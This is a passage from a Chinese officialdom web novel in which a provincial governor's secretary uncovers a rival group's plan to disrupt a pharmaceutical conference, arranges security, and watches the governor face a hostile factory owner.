他开完会议,路过秘书间时,闻到了里面没有散去的烟味。 他知道,李承平时很少抽烟,就算抽,也不会在办公室里抽烟。 而下属人员,更不可能跑到省长秘书的办公室抽烟。 所以,他推测是省政府的某位领导层来找过李承。 能在李承秘书间抽烟的人,就那么几个。 “嗯,郭副省长刚才找过我。”李承如实说。 “他找你什么事情?”孟良德问。 一般情况,像这种私人谈话,又不涉及什么红线问题,秘书是不会主动泄露。 其中,也有些人情世故在。 但孟良德主动问起来,李承也不好隐瞒。 “他想让我劝劝您,工业园区项目迁移,是李雪忠一手主抓,涉及的要员众多,他怕您严查下去,不利于组织的稳定。”李承道。 在省长面前,直呼上任省长的大名,是不应该的。 正常来说,要么加上上任省长四个字,要么喊老省长。 但李承能够直呼对方大名,一来,李雪忠已经被双开,入狱,不再是党员,也没有职务。 二来,李雪忠的的确确给孟良德留下了很大一摊子麻烦,是一个不折不扣的腐败分子,对这种人,孟良德厌恶到了极致。 曾经,李承将李雪忠称呼为老省长,还遭到过孟良德的批评。 但这个批评,不是针对李承。 他的原话是:像李雪忠这种腐败分子,就不配称省长,在他的心里没有党纪更没有人民。 至此事后,李承和孟良德单独谈话时,都会称呼李雪忠的大名。 只有在外人面前,为了做样子,才对其加上曾经职务。 “他这是怕牵连到他自己。” 孟良德语气平淡地随口说了一句,道:“让兆华同志过来一趟。” “好的省长。” 李承答应,退出了办公室。 李承只是位专职秘书,孟良德要开展调查工作,还是要通过省办公厅去协调。 拿起秘书间桌子上的电话,李承打给了杨兆华办公室,让对方来见孟良德。 五分钟后,杨兆华赶来。 “杨秘书长。” 李承起身,跟杨兆华打了一个招呼。 “嗯,孟省长在办公室里?” 杨兆华随口询问时,已经走向了孟良德的办公室。 “在等你呢。” 两个人一起走进办公室,李承给杨兆华倒了一杯水。 “兆华呀,你去查一查这家公司。” 待到杨兆华坐下后,孟良德将资金挑拨记录推到对方面前,指了指画红圈的公司:“这笔资金异常,查查看,公司是不是空壳公司,这钱,是不是进了哪些领导的私人腰包。” 孟良德是信任杨兆华这位老同学的,对他,也就开门见山。 “好。”杨兆华记下这个公司的名字。 “明天,你安排一下,凡事与吾月工业园区有关的部门领导,开个会。”孟良德交代道。 “省长,明天是医疗发展推进会。” 没等杨兆华答复,李承率先出言提醒。 孟良德日理万机,对于这些工作行程的安排,他自己记不得。 听到李承的提醒,孟良德也想了起来,道:“那会议就安排在后天。” “好。” 杨兆华点头。 “明天,你们在去吾月县摸查一下,看看这个工业园区地底,到底是烂到了什么程度。” 孟良德再次吩咐。 “嗯。” 杨兆华答应后,询问:“省长,要不要把提前把责任清单备好,到时候开会时,也能防止大家扯皮。” “这些资料是李秘书整理好的责任问题,你都拿回去,再去细化加强一下。” 孟良德点了点头,将桌子上,李承备好的材料推到了杨兆华面前:“没什么事情,你就回去忙吧。” “嗯。” 杨兆华收起桌子上的资料,起身离开。 李承也跟着一同推出了省长办公室。 “李承,晚上有没有时间?”出了办公室,杨兆华问李承。 “老领导要请我吃饭吗?那我肯定有时间呀,哈哈哈。”李承开了句玩笑,说。 不管杨兆华是谁的人,关系还是要维持的。 “嗯,晚上我让你嫂子做菜,到家里吃。”杨兆华道。 “好,等我下班忙完就过去。”李承答应。 晚上下班,李承将孟良德送回迎宾馆后,他并没有第一时间赶往杨兆华家里。 去别人家做客,总不能空着手。 到烟酒超市,买了两瓶杨兆华爱喝的白酒,李承又去了趟海鲜商店。 杨兆华的妻子喜欢吃海鲜,尤其是蟹类。 逛了一圈,李承看板蟹还不错,买了六只,这才赶往了杨兆华家。 正常情况下,去领导家里做客,是不适合自己带食材的。 这样会给人一种感觉,以为嫌弃他家的菜不好等... 但是,杨兆华和李承之间,不止是上下级的关系,还有多年的交情。 李承投其所好,带一些东西过去,自然是锦上添花的举动。 汽车停在杨兆华家楼下,对于他家的住址,李承轻车熟路。 站在家门口,他敲响了房门:‘咚咚咚...’ 第192章 摊牌 “李承来了,快进来,就等你吃饭了。” 开门的人是杨兆华的妻子,倪红。 见到李承,她脸上洋溢着热情的笑容。 对于杨兆华这位老下属,倪红是打心眼里认可的。 尤其是在杨兆华被陷害,抓紧纪检委时,李承宁愿错过晋升机会,也一字不透,更让倪红欣赏这位年轻人的人品。 “嫂子,我来又给你添麻烦了吧,哈哈哈。”李承客气地说。 “不麻烦,我倒是希望你多来麻烦麻烦我。” 倪红给李承递了一双拖鞋,并从李承的手里接过东西:“下次来,不许再买东西了。” “我想着嫂子喜欢吃蟹,正好路过海鲜商店,就买了些。”李承换上拖鞋,走进客厅。 “来了,过来坐,你嫂子的菜还没有做好呢。” 杨兆华正坐在沙发上看着电视,看到李承进门,冲他招了招手。 “我去帮嫂子忙活忙活。” 李承撸起袖子,准备去洗手间洗个手,帮倪红把螃蟹蒸上。 就在这时,次卧的房间门开了。 一个二十岁左右的小姑娘走了出来:“李叔。” “萌萌还没回去上学呀?” 女孩是杨兆华的女儿,李承见过她几面。 “没呢,还没开学。”萌萌说。 “第一次见萌萌的时候,还是个小孩子呢,这一晃都成大姑娘了。”李承笑呵呵地说。 女大十八变。 以前的萌萌是个小胖姑娘,现在,身材苗条,长得也很漂亮,属于班花级的。 “是呀,时间真快,一晃我都快五十岁了,我还以为自己三十多呢,呵呵呵....” 杨兆华感叹了一声。 “萌萌,有没有男朋友呀?”李承笑盈盈地调侃了一句。 “哎呀,你别每次见我都问这种问题,我都是以学业为主。”萌萌害羞地回避开目光,她的脸却泛了红。 李承也是过来人,想来她是有了男朋友,不敢承认。 李承也没继续调侃她,去卫生间洗了个手,开始蒸螃蟹。 螃蟹蒸好,饭菜也全部出锅了。 四个人围在餐桌前,开始用餐,喝的是李承买来了白酒。 以前,每次来杨兆华家里吃饭,都有一种家的感觉。 那时候,李承对于杨兆华没防备,倪红和萌萌对他也像对待自己家人一样。 可这次的饭,李承没有吃出以前的感觉。 杨兆华近期跟花海集团的联系频繁,在李承眼里,杨兆华在某种程度上讲,已经成为了政治对手。 大家吃吃喝喝,闲聊唠嗑,也都没有往工作上扯。 但酒过三巡,菜过五味,萌萌和倪红也都吃饱下了桌,只剩下李承和杨兆华两个人。 气氛突然就变得微妙起来了。 “李承,不是我批评你,你现在跟我也疏远了是不是,喊你到家里吃饭,还带着酒和菜,嫌弃我这的酒菜?” 杨兆华语气平淡地说,言辞中,带着责怪之意。 但听在李承耳朵里,他觉得,杨兆华说的不是这一顿饭的事情。 而是这一段时间,李承与他的关系疏远。 确实,自从发现杨兆华与花海集团联络密切后,李承与杨兆华的私下交流就变少了。 这不是李承故意的疏远他,他只是不知道怎么去面对这件事,心里有一些隔阂在。 “不是,老领导您说的这是哪里话。” 李承先是反驳了杨兆华的观点,再给出解释:“我现在职位也进了一步,薪资待遇也提升了不少,这不都是在您的帮助下才取得的嘛。” “老领导,我敬您一杯,没想到时隔三年,我们又能并肩作战了,真是缘分。” 李承举起酒杯,敬杨兆华。 杨兆华跟李承碰了一下杯,喝了一小口白酒后,说:“我还以为是陈思琪那个小姑娘给你发的微信照片,被你看见了呢。” 杨兆华语气依旧平淡,可他说出来的话,却让李承的动作僵住了刹那。 这句话,几乎算是挑明了在问李承,是不是因为看到了他和花海集团走动较近,所以才对他产生疏远。 “什么照片?” 李承本能地用反问去打了掩饰,随即,他感觉这种问法不妥,以玩笑的姿态化解这份尴尬:“难不成,老领导你也差点中了陈思琪的美人计?” 声音被李承压得很低,是玩笑,但也不好让屋内的倪红听见。 “学会装傻了,有了新老板,就忘了老领导,是不是?”杨兆华点燃了一根香烟,悠悠然地说。 “哪能呀,您才是我的引路人。”李承恭维地回了一句:“我能当上省长秘书,也是您给的机会。” 说着,他也拿起一根香烟点燃,趁着这个时间,他的大脑飞速运转。 为什么杨兆华要这么问? 难道是想试探自己到底知不知道他和花海集团有来往? 不对.... 如果是为了试探,杨兆华这番话显得过于画蛇添足,不符合逻辑。 可如果不是,他又是什么意思? 拉自己入伙吗? 但无论是哪种目的,李承可以确定一点,杨兆华已经猜到了李承知道他和花海集团的往来。 “老领导,咱俩现在的关系,我觉得就像这瓶粮食酒。” 李承的目光落在桌子上这瓶白酒瓶身上:“你就像是这配料里的高粱,属于是主基调,我就是大米、小麦这些附属。 无论少了哪一种,这个酒呀,都不是这个味道,也就没那么好喝了。” 李承借酒作引,虽说描述得并不是那么恰当,但传达的意思到位就行。 李承的意思很简单,他们两个人,在省政府属于是相辅相成的关系。 谁都知道,他李承是杨兆华带出来的兵,而杨兆华是他的老领导,两个人关系十分紧密。 两个人如论谁出了问题,对方也会有一定的牵连。 “呵呵呵,你小子呀,现在是学坏了。” 杨兆华吐出烟雾,意味深长地笑了两声后,他朝着房间里喊道:“倪红。” “怎么了?” 倪红听到他的呼喊,从房间走了出来。 “你带着萌萌出去溜达溜达,别吃饱了就在屋里躺着,刚瘦下来没多久,也不怕再胖回来。” 第193章 杨兆华的开口 “爸,不会胖的,我跟朋友聊天呢,不想动。”萌萌从房间里走了出来,发着牢骚说。 “出去走一走,聊天等会来回再聊。”倪红劝道。 她知道,自己的丈夫要谈工作上的事情,需要他们母女两个人回避。 “我不想动嘛...” 萌萌拽着倪红的胳膊晃了晃,撒着娇。 “萌萌,你跟爸爸讲实话,是不是谈男朋友了?” 看到女儿不情不愿的样子,杨兆华摆出一副严肃的表情,问。 他这么问,倒不是想问出个所以然来。 只是知道萌萌不爱面对这种问题,会离开。 “行行行,我出去溜达溜达。” 听到这个问题,萌萌无奈地伸了一个懒腰,回屋换起了衣服。 “萌萌年纪也不小了,该谈男朋友了。” 看着他们母女二人离开的背影,李承道。 现在都讲究自由恋爱,而且,萌萌都到了法定结婚的年纪,在不耽误学业的前提下,谈谈恋爱也是很美好的。 大学时期,就该享受这种无忧无虑的纯真美好。 “我也不是不开明的家长,都是她那个年纪过来的,我不反对,现在年轻人不都主张恋爱自由嘛,哈哈哈...” 杨兆华提起女儿时,脸上流露出一副欣慰的笑容。 他就这一个孩子,萌萌就是他的掌上明珠。 “我估计,哪个男生听说她有一个正厅级父亲,也不敢靠近啊,呵呵呵。”李承调侃一句,缓和气氛。 他知道,接下来杨兆华要谈论正事了。 果不其然,杨兆华再次跟李承碰杯,喝了一口酒后,进入主题。 “你跟我说实话,我最近跟花海集团联系的事情,你了不了解,那张照片你看没看见?” 李承没想到杨兆华竟然这么直接。 对方主动说出了和花海集团的联络,李承也不好再装傻充愣。 “那张照片我看见了,其实,在她发照片之间,我在牡丹会就碰到过你和李美娇,赵金福等人吃饭。” 李承说完,拿起筷子夹了一口菜:“老领导,花海集团是一个坑,跟他们走动太近,以后怕是难有回头路。 孟省长那边,对于花海集团是下了决心的。” 提醒完杨兆华,李承将菜送入口中,咀嚼起来。 “我就知道你小子最近与我疏远,是跟这件事有关系,怕跟我走太近,到时候老孟怀疑到我的时候,把你也牵连上?” 杨兆华轻哼一声,语气中带着质问。 “我没有。”李承摇头。 “你刚才说什么我是高粱,你是大米,咱们关系近,不就是怕这个吗?”杨兆华的言辞中,有点故意找茬的意思。 但李承跟杨兆华相处这么多年,知道,这是对方的玩笑。 “我可不是这个意思呀,我是想说,你是我的老领导,有什么事情,其实是可以不要瞒着我的。”李承道。 这种话,在杨兆华主动摊牌前,李承是不会讲的。 毕竟,有些事情大家即便心照不宣,没有讲出来,就还有装傻充愣的空间。 可一旦讲出来,味道就不一样了。 杨兆华主动透露,李承已经成为了被动的知情人,他自然就要挑好听的话去讲。 “嗯。” 杨兆华点了下头,说:“今天找你来,是有件事情要你帮忙。” “你说。”李承笑容不变。 但其实,他的内心里已经发慌。 若是杨兆华真与花海集团同流合污,私下找他谈事,又提前告知了其与花海集团的关联密切。 李承不禁猜想,杨兆华是想让李承替花海集团办一些事情。 “李美娇准备....” 接下来,杨兆华将他这次找李承的目的,如实讲了出来。 听完杨兆华的讲述,李承眉头紧紧皱了很久,最终点了下头:“嗯,我知道了。” 两个人又了一个多小时才结束。 李承喝了酒,不能开车,又刚好赶上了许梦下班时间。 于是,许梦打了一个车,来接的李承。 “又喝这么多酒,一身的酒气。” 刚上车,许梦差点被满车的白酒味熏吐,她降下车窗,语气中略显埋怨。 “没办法,老领导要让我陪,我能不陪吗?” 李承的确也喝多了,脑袋晕晕的。 “还好是一个男领导,要是女领导让你陪睡觉,你还要出轨了呢。”许梦打趣了一句。 “那得看这个女领导长得好不好看。”李承道。 “好看你就睡喽?” 许梦深吸一口气,问。 “好看的不睡。”李承摇了摇头。 “好看的不睡,睡丑的?你苦味挺重呀。”许梦白了李承一眼。 “不管好看还是丑,我都不可能碰,我的心里就只有你。”李承拉起许梦的右手,十指相扣。 “这还算是句人话。” 许梦脸上流露出一抹笑容,单手开着车。 “给你分享一个好消息,我现在的粉丝,已经突破十万了。”许梦笑容温柔。 今天是她粉丝突破十万的第一天,有很多商家私心她。 有的让她打广告,有的让她帮忙带货,这让许梦十分开心。 钱,能解决世界上百分之九十九的问题,她觉得,只要能赚到钱,她和李承的未来一定会过得很幸福。 “这么厉害,谁家的宝宝这么棒呀。”李承鼓着掌,给许梦提供情绪价值。 “等姐成为百万网红那一天,姐养着你。”许梦冲李承得意地扬了扬下巴,笑着说。 “从小医生就说我胃不好,只适合吃软饭...看来软饭有望了。”李承玩笑道。 “哈哈哈...” 许梦被逗笑了两声,问:“你和杨秘书长今晚都聊什么了?” 听到这个问题,李承又想起了杨兆华交代给他的事情。 脸上笑容缓缓收敛了起来。 这个问题很严肃,并且也很难办,办不好是要出事的。 “没什么,就唠了几句家常。”李承说。 “哦,就你们两个?”许梦追问。 “还有他爱人和女儿。”李承如实说。 “她女儿漂亮吗?多大了?” 许梦看似随意的询问,却带着试探。 在爱人眼里,任何异性都有可能成为情敌,这是一种本能。 “小孩子,不到二十岁呢。”李承知道许梦怎么想的,耸了耸肩,道。 “哦,那我就放心了。” 第194章 难题 回到家。 许梦去洗漱,李承则独自一人坐在沙发上,思考着应对之策。 这次去杨兆华家里喝酒叙旧,李承得到了一个好消息,一个坏消息。 好消息是,杨兆华应该是孟良德安插过去了一颗棋子。 虽然杨兆华没有明说,但李承是这样认为的。 坏消息是,花海集团准备在明天的医药产业发展推进会上,对孟良德展开攻击。 可问题的关键在于,杨兆华对于花海集团的针对方向,并没有过多了解。 花海集团对他仍有防备。 他只是听到一位花海集团高管无意间提起一句,但对方及时意识到自己说漏嘴,没有向杨兆华说出具体行动。 这件事就很让人头疼。 如果知道对方具体针对行动,还能对症下药,提前做出防御和反击措施。 可现在,只知道有这回事,其他一无所知。 没有具体的事情,杨兆华和李承都没有办法提前跟孟良德汇报。 而杨兆华因为这个‘间谍’身份,也没办法亲自去参与部署,只能靠李承做安排,想对策。 最关键的一点,就是杨兆华得知消息的时间太晚了。 展销会明天上午十点就要举行,给李承的时间太短。 这无异于赶鸭子上架,大海里捞针。 点燃一根香烟。 李承的大脑里胡思乱想起来。 他想过,这有没有可能是花海集团故意透露给杨兆华的,对他进行的一些试探? 但无论花海集团是无意,还是有心,一定要做出一些对策。 展销会规模太大,面向全国,不容出现任何差错。 “你在这想什么呢?” 许梦洗漱过后,走到客厅,问李承。 “没什么,工作上的事情。” 李承掐灭了香烟,他抬头看向许梦,问:“明天医药推进会,你们电视台安排谁去参加?” “我呀。”许梦道。 许梦现在是省电视台的大红人,是电视台极力打造的明星主持人,凡是有重点节目,只要许梦能忙得过来,都由她参与。 省电视台能够大力扶持她,她自身出色是一方面,更重要的是,她是李承的女朋友。 没有李承的身份作为资源,许梦仍是寂寂无名的小主持人。 “嗯。” 李承点了点头,起身朝着洗手间走去。 “怎么了?”许梦疑惑地问。 “没怎么,随口问问。” 洗漱过后,李承思来想去,拿起手机打了滨西市长,冯坤。 ‘嘟..嘟..嘟...’ 时间已经很晚了,但事关省长,容不得马虎。 “李秘书。” 电话接听,那边传来冯坤的严肃声音。 “没打扰你休息吧,冯市长?”李承道。 “不打扰,李秘书,这么晚来电,是省长有什么吩咐?”冯坤问。 省长秘书这么晚打来电话,冯坤在接通时,心情都是紧张的。 他怕有什么突发事件传到了省里,而他这位市长却不知情,那样的话,原本就处于妻子受贿风波之中的他,将很危险。 “矿难赔偿的问题,解决得怎么样了?”李承问。 “除了白邱赫不妥协之外,其余大部分人都已经和解了。” 冯坤说话时,精神再度紧绷,他小心翼翼地试探:“是不是白邱赫又闹了什么事?” “没有,我是想给冯市长提个醒,明天省里召开医药推进会,不少媒体在现场直播,这个白邱赫一定要看住了,切不能让他钻了空子。” 李承严肃地叮嘱道。 会场虽有严格的安保,需要持工作证进入。 白邱赫虽一心想要将事情搞大,但以他一个人的力量,是根本没办法进入会场的。 可怕的是,他被有心之人利用。 以花海集团的能力,想要搞到工作证太轻松,他若是被李美娇利用,跑到会场上大闹,把矿难的事情当着众多媒体的面前说出去,后果极其严重。 毕竟,重大矿难已经得到了京城的关注,省里勉强才压下去。 明天的推进会,京城同样会关注,若是白邱赫闹到了那里,后果不堪设想。 “我现在就安排人对白邱赫进行24小时监视。” 冯坤也知道事情的严重性,他连忙答应。 若是白邱赫真闹到了医药推进会,对省长的影响有多大他不知道,但他肯定会从市长的位置上被踢下去。 “嗯。” 挂断电话,李承又分别打给了宫庆鑫。 让他明天加强安保,增派人手。 如此一来,万一有人煽动群众,聚众闹事,可以第一时间进行驱散。 给宫庆鑫打完打电话,李承又拨打给了吾月县的县长吴志平。 “喂,哪位?” 吴志平并没有李承的号码,他醉醺醺地接通电话,问。 他那边的声音很嘈杂,应该还在酒局中。 “吴志平县长吗?我是省政府秘书李承。”李承自我介绍。 “啊,是李秘书呀。” 听到是李承,吴志平原本玩世不恭的态度立刻端正,他身边的杂乱聊天声也逐渐消失。 “您有什么吩咐?”吴志平紧张地问。 一个省政府大秘,半夜十一点打来电话,换做任何下属领导都会紧张。 “说话方便吗?” 李承知道他身边有人,这么问,就是想让他找一个没人的地方。 “稍等我一下。” 吴志平会意,半分钟后,他再次开口:“李秘书,你说。” “明天是省里的医药推进会,你们县,无论是群众,还是哪些涉嫌排污问题的企业,都要进行监督,切记不能来会场。 孟省长很重视这件事,如果出现了任何纰漏,吴县长,你是第一责任人!” 李承话说得非常直接,就是摆明了告诉吴志平。 如果他们县有人来医药推进会搞破坏,他就吃不了兜着走。 “李秘书,这么多企业,他们要去,我也拦不住呀,这么多工厂因为环保问题不能正常投入生产,有怨言也正常....”听到李承的吩咐,吴志平声音迟疑。 吴志平的这番话,让李承也警惕起来。 李承总觉得,这个吴志平似乎是知道些什么。 “生产的问题,省里会解决,耽搁的工期,省里也会帮助协调,时间不会太久。” 李承先是安抚了一下对方后,再次严厉警告:“但是,对于明天推进会的问题,我不管你用什么办法,一定不能出现纰漏!” 第195章 夜访 “好,我知道了。” 听到李承如此严肃,吴志平只好答应。 挂断电话,李承再次点燃了一根香烟。 经过刚才与吴志平的短暂沟通,李承分析觉得,花海集团很有可能在吾月县问题上,对孟良德做出针对。 工厂不停,涉及污染问题。 工厂停了,这么多工厂企业要发展,这么多员工要吃饭,同样是大问题。 停与不停,这里面,花海集团都可以大做文章。 虽说,吾月工业园区的问题,是上任省长李雪忠的遗留下来的烂摊子。 可企业和群众不会在意这一点。 大家只知道,现在的省长是孟良德,这些问题就归孟良德管,孟良德做不好,就是孟良德的问题。 若是传到了京城,京城那边会考虑到李雪忠的遗留问题,可孟良德仍会被有心人针对。 毕竟,孟良德已经上任将近一年,这一年时间,他却没有解决这个问题,上级领导可以认定他不作为。 无论怎么样,这个问题不解决好,如果被闹到医药推荐会上,对孟良德都有极其不好的影响。 “你怎么又抽上烟了,不睡觉吗?” 许梦揉了揉眼睛,看着仍坐在沙发上的李承,问。 “我要出去一趟,你先睡吧。”李承对她说。 思来想去,李承觉得,即便杨兆华透露给他的消息可能是空穴来风,他也要去跟孟良德做一个汇报。 这么晚打扰省长休息,很不礼貌,可毕竟事态紧急。 尽管这个消息有虚假的可能,但是,不怕一万,就怕万一。 一旦万一出现,李承知情不报,那对于李承的仕途就是灾难。 “你要去哪?”许梦问。 “去一趟迎宾馆,见一下老板。”李承说着,开始换衣服。 “这么晚了,也不好打车,我送你去。”许梦说。 “嗯...好。” 李承这套房子的位置,的确是偏僻了一些,这么晚的时间很难打到车。 不然,他也不会麻烦许梦。 许梦换好衣服,开车将李承送到了迎宾馆。 到达时,时间已经是零点。 许梦留在车里等待,李承独自一人走了进去。 ‘咚咚咚...’ 李承站在门口,轻轻敲响了门。 “哪位?” 大概一分钟后,里面传来了年轻保姆阿娇的询问。 “我是李承。”李承道。 ‘咯吱’ 听到是省长秘书过来,阿娇打开了门。 “老板睡了吗?”李承低声问。 “没呢,还在书房看资料。”阿娇说。 听到孟良德没睡,李承算是松了一口气,好在没有打扰领导的休息。 “我去叫省长,你在客厅等一下。” “好。” 李承坐在客厅,等了大概三分钟,阿娇返回:“省长叫你去书房谈话。” “嗯。” 李承站起身,跟随阿娇的脚步,走进了书房。 书房内,孟良德正在看明天关于医药产业发展推进会的演讲稿。 “这么晚,怎么过来了?” 孟良德抬起头,摘下他看书时才会佩戴的眼镜,问。 在他询问期间,阿娇已经退出了书房,并关闭了门。 “有件事情,想跟您做一下汇报,事关明天的推进会....” 接下来,李承将从杨兆华那里得到的消息,简单讲述给了孟良德。 这件事,他必须跟孟良德做出汇报。 这其中也有他自己的私心,他担心万一出现什么差错,孟良德会怪罪于他。 那份责任,他是承担不起的。 听完李承的汇报,孟良德眉头紧蹙。 “老板,我已经通知滨西的冯市长,和吾月的吴县长,让他们做好监管,也让宫局加强了警力,但还是担心有其他纰漏,您看还有没有其他需要部署的环节?” 李承把自己的安排,也跟孟良德讲了一遍。 其实,最稳妥的方式,就是给延期举报医药产业发展推进会。 但日期临近,临时推迟绝不可能了。 “嗯,你的工作部署是很有必要的。” 孟良德听完李承的安排,点了点头。 帮省长排忧解难,是秘书的职责,这些安排,李承不去做,孟良德也会交代他去做。 “你先回去休息吧,时间太紧了,信息也太少,短时间内查不清楚,到时候根据现场情况再做打算。” 孟良德说。 他最关心的两件事,李承已经提前吩咐交代了。 剩下的,只能随机应变。 他是省长,也不是神仙,没有预测的能力。 相比于瞎操心,眼下保证休息,认真对待明天的推进会,才是关键。 “好的老板。” ..... 次日。 医药产业发展推进会正式召开。 会议地点在汉江会展中心。 在孟良德的吩咐,和办公厅的统筹推进下,参与会议的医药企业有两百多个,参与的医院,体检公司等,也有数百家。 这些企业,不仅局限于东江省,也有不少闻讯而来的外省企业和医院。 会议规模庞大。 不少知名媒体,也都前来跟踪报道。 这次发展推进会,看似是为了全省医药企业的推动发展,实则,其他企业都是绿叶,是陪衬,恺奥医疗才是那朵鲜花。 开这场会议,是为了帮助恺奥医疗推广CT机。 孟良德搞这么大的规模的会议帮恺奥医疗,其中有他和石山水的个人交情,但只是极小一部分原因。 最重要的是,恺奥医疗的CT机属于320排超高端螺旋CT机,突破了多年的技术封锁,以及对进口的依赖。 是国产医疗行业的一大进步。 恺奥医疗这次研发,是国产品牌的骄傲,也是东江省的骄傲。 能够将这款CT机进行推广和普及,对于孟良德来说,是一项政绩。 不少外省的企业和医院,就是为了观摩这台超高端CT机而来。 会议定在上午十点半举行。 省办公厅工作组,以及各个相关部门已经早早提前去预热。 在孟良德赶往会场之前,李承再次给冯坤和吴志平打去电话,询问他们那边的情况。 对方也都是信誓旦旦的保证,不会出现任何差错。 可李承的心,仍然是悬着的。 他不敢放松任何警惕。 第196章 三大关键 十点半,医药产业发展推荐会正式开始。 主持人手拿话筒,走上了主席台。 “尊敬的各位领导,各位来宾,企业家朋友们,以及医疗战线的同志们,大家上午好! 在全省上下深入贯彻高质量发展战略,奋力推进产业转型升级的关键时刻,我们齐聚汉江,召开了这场医疗创新的产业发展推荐会! 今天的会议,得到了省委,省政府的高度重视,出席奔驰会议的主要领导有,省委副书记,省长孟良德,省人大常委会副主任.....” 接下来,主持人对今天在场参会的领导做了介绍,并概括了此次会议的方针,举办的目的。 “接下来,让我们有请孟良德省长讲话!” ‘哗啦啦’ 随着主持人的话音落下,台下的观众席掌声雷动。 待到掌声渐渐安静下来,主席台上的孟良德开始讲话。 他的稿子,是由综合一处撰写,李承负责精修。 参与这种会议,省长是不会背稿子的,按照稿子念即可。 这种严肃的场合,念稿子能够避免忘词的尴尬,以及加强措辞的严谨性。 “各位企业家,各位院长同志们,今天我们在这里召开全省医药产业发展推荐会,既是为了谋划我省医药产业的未来发展。 也是为了庆祝我们东江省恺奥医疗取得了重大的创新成果。 东江是农业大省,是资源大省,但我们的目标是成为科技创业,高端制造大省。 恺要医疗的320排高端螺旋CT机,就是我们转型发生的例证,它打破了多年来的国外垄断,填补了国内高端CT机的空白,更是让我们看到了国内医疗器械从‘跟跑’到‘领跑’的希望。” 省长的讲话,并非只有单单的客套话。 省里召开医疗产业发展推荐会,如果只是为了推荐恺奥医疗的高端CT机,那就过于片面了。 省长的研究,自然是要伴随着政策的扶持。 “当前,东江省医药产业正处于高端创新的关键时期,我们要坚持创新驱动,质量保证,绿色发展的理念,重点做好三件事。 第一,省政府将设立五亿元的医药产业创新基金,重点支持高端医疗设备,创新药,重要现代化等领域的研发。 像恺奥医疗这样的创新企业,我们不仅要给予资金支持,在土地,税收,人才等方面也会提供全方位的保障。” 这第一条,是为了实现医药产业的共同进步,给所有药企打了一剂强心针,让他们了解政府对这方面的大力支持。 毕竟,恺奥医疗的这次突破性发展,对东江省也是一个利好,也可能是一个跳板。 东江省可以借这个机会,向上层争取财政拨款扶持。 “第二,推动产医融合,实现互利共赢。 医院是医药企业的重要市场,产业也是医院发展的技术砥柱,省卫健委要牵头建立起‘产医合作联盟’推动医院优先采购本土创新产品。 鼓励产业与医院开展临床研究,加强加快创新产品的应用,让我们的百姓,能够尽早享受到更优质,更平价的医疗服务!” 推动产医融合,是李承加在孟良德演讲稿中的要素。 也是李承对于产业发展的快速融合,向孟良德的提议。 最开始,他也只是抱着试一下的心态。 毕竟‘企业和医院的合作联盟’并不是喊个口号就能够实现的。 这其中涉及到了很多利益结构。 不是省里喊喊口号,那些就医院就会买账。 这个口号喊出,省里需要很大的力量去贯彻落实,去与各个医院协调。 就不简简单单是召开一个推进会那么简单。 但孟良德在听到李承的提议后,非常认可李承的观点。 毕竟,从长远的角度来看,国产化发展,是必要的趋势。 “第三,要坚持绿色产业发展,这是底线,同志们,就在前不久,东江省吾月县的产业园区发生了排污事件,给我们敲响了警钟。 发展经济不能以牺牲环境作为代价,这是一条不可逾越的红线。 对于污染企业,即便可以技术创新突破,可以给政府带来税收和就业,给人民带来便利,政府也不会放任不管! 我再次强调一遍,环境问题是一条红线,希望在座的企业要坚守住这条红线!” ‘哗啦啦....’ 随着讲话结束,下面再次掌声一片。 李承站在后方,看着孟良德那威严的气场,也发自内心地鼓起了掌声。 这是他由心底的佩服。 最后的这段演讲,关于吾月县工业园区排污的问题,并非李承和综合一处撰稿的一部分。 这部分,是昨天晚上孟良德在得知华海集团图谋不轨后,自己加进去的。 就连李承也是刚刚听完孟良德的演讲,才得知。 这一招很妙,提前把吾月县工业园区的事情,以反面教材的方式,铺垫在推荐会上,是一步进可攻,退可守的好棋。 目前而言,能够拿出来做文章,并且可以引得上层领导严肃关注的问题,只有两个。 一个是滨西市的重大矿难。 但矿难问题,该处分的已经处分,该和解的已经和解。 唯一的变数就是白邱赫。 但今天早上,李承给冯坤打去电话询问时,仍可以确定白邱赫还在滨西市,在政府人员的监视之中。 就算他能逃脱政府监视,从滨西到汉江还需要几个小时的车程。 政府已经对他进行严管,他根本无法乘坐高铁,就算他想来,乘车方面,时间也不够。 那么,就只剩下吾月县工业排污这件事。 这件事的不确定因素最大,一,距离近,从吾月到汉江,如果车速够快的话,一个小时就可以抵达会场。 二,企业,群众都有可能成为花海集团用来针对孟良德的对象,涉及人员太多。 吾月县的吴志平县长虽然打包票,说不会有人来,但保不准有漏网之鱼,而且,概率非常大。 所以,孟良德提前把这件事说出来。 到时候,就算有人提出这件事,孟良德也有防守的空间。 第197章 较量和考验 “孟省长,你刚才提到了吾月县排污问题,我想问一句,你们政府是不是只关心这些高端企业,而忽略了我们这些老牌工业呀!” 果然,就在孟良德讲话结束,一道不和谐的声音从人群中响了起来。 所有人也齐齐地将目光看了过去。 李承心情同样一沉,他知道,该来的躲不过。 这些企业家本来就有一定的人脉和资本,若是再有花海集团的支持,在这上千人的会场里,想要搞到一个通行证,太轻松了。 但人群都是坐着的,这道声音响起时,大家一时间无法确定是谁在讲话。 “刚才是哪位在提问?” 孟良德也环视了一圈,同样没确定讲话之人是谁。 “是我!” 这时,一个男人站了起来。 男人五十岁左右,身材高挑,西装革履,头发梳了整齐,是那种经典的油头。 在会场灯光的照耀下,他的头发甚至能泛出光泽。 看到这个男人,李承有一种似曾相识的感觉。 但李承可以确定,他没有见过这个人。 “你是吾月县的企业?”孟良德开口问。 “对,我就是前段时间孟省长亲自去查的旭日化工老板,我叫张云天!”男人自我介绍道。 他扬起个脖子,摆出一副愤愤不平的样子。 李承听到他的自我介绍,也知道为什么觉得他眼熟了。 他就是那天带着视察团队去看污水排放渠的愣头青年轻人的父亲。 “孟省长,您好大的手笔,开口就是五个亿对医药企业的扶持,可您似乎忘记了我们这些工业厂了吧。 想当年,我们这些工业公司,可是为了东江省创造了巨额的税收,可以说,没有我们这些工业厂,就没有汉江的今天。 我们是汉江,乃至于东江省发展的功臣! 可是您大手一挥,一道命令下发,我们这些工厂全部关门,我们跟销售方签署的合同,无法如期交货,产生的违约金怎么办? 我们停工,公司无法运作,开销却还在继续,这些成本怎么算? 我们所有工厂加在一起,几万名员工,几万个家庭等着吃饭,他们怎么办? 您的一句关停,是我们的生路断了,把我们这些人往死路上逼啊!” 张云天的言辞相当锋利,甚至带着一些故意诬陷的味道。 很显然,是在避重就轻地扭曲事实,是有人故意教唆的行为。 